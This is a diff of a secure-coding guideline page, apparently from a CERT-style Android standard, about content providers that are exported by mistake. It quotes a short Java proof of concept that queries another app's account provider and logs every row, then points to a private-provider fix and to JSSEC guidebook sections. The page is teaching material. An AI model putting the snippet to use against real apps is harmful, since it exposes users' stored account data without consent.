Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.
Comment: link to JSSEC guidebook

...

The following code shows how this could be exploited:

Code Block
// check whether movatwi is installed.
try {
  ApplicationInfo info = getPackageManager().getApplicationInfo("jp.co.vulnerable", 0);[cjl5] 
} catch (NameNotFoundException e) {
  Log.w(TAG, "the app is not installed.");
  return;
}
// extract account data through content provider
Uri uri = Uri.parse("content://jp.co.vulnerable.accountprovider");
Cursor cur = getContentResolver().query(uri, null, null, null, null);[cjl6] 
StringBuilder sb = new StringBuilder();
if (cur != null) {
  int ri = 0;
  while (cur.moveToNext()) {
    ++ri;
    Log.i(TAG, String.format("row[%d]:", ri));
    sb.setLength(0);
    for (int i = 0; i < cur.getColumnCount(); ++i) {
      String column = cur.getColumnName(i);
      String value = cur.getString(i);
      if (value != null) {
        value = value.replaceAll("[\r\n]", "");
      }
      Log.i(TAG, String.format("\t%s:\t%s", column, value));
    }
  }
} else {
  Log.i(TAG, "Can't get the app information.");
}

 

Compliant Solution

The following entry in the AndroidManifest.xml file makes the content provider private so that other apps cannot access the data:

...

Android Secure Coding Guidebook by JSSEC[cjl3] 

4.3. Creating/Using a Content Provider (2013/4/1 edition)
4.3.1.1. Creating/Using a private content provider
4.3.1.3. Creating/Using a partner-limited content provider (white listing)
4.3.1.4. Creating/Using a private content provider (signature permission)
4.3.1.5. Creating/Using a temporary content provider
4.3.2.1. Never create a content provider to be used only within the app for Android 2.2 (API Level 8) and before
4.3.2.2. Never publish a content provider which is intended to be used only within the application
4.3.2.4. Verify signature permission before use

Bibliography

Android Secure Coding Guidebook by JSSEC

 4.3. Creating/Using a Content Provider (2013/4/1 edition)

...